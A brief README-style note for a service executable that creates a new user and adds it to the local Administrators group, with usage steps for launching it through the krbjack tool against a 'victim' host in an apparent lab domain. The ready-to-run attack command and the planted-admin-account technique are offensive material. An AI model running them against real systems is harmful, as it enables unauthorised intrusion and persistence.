Simple service that creates a new user and adds it in localgroup Administrators
I used it with https://github.com/almandin/krbjack
usage:
edit the source file in the picture at line 57 and replace: str(uuid etc) with 'service1'
then run python3 -m krbjack --target-name winattacker --domain bluelab.local --dc-ip 172.27.18.19 --ports 139,445 --executable /opt/service1.exe
winattacker: victim
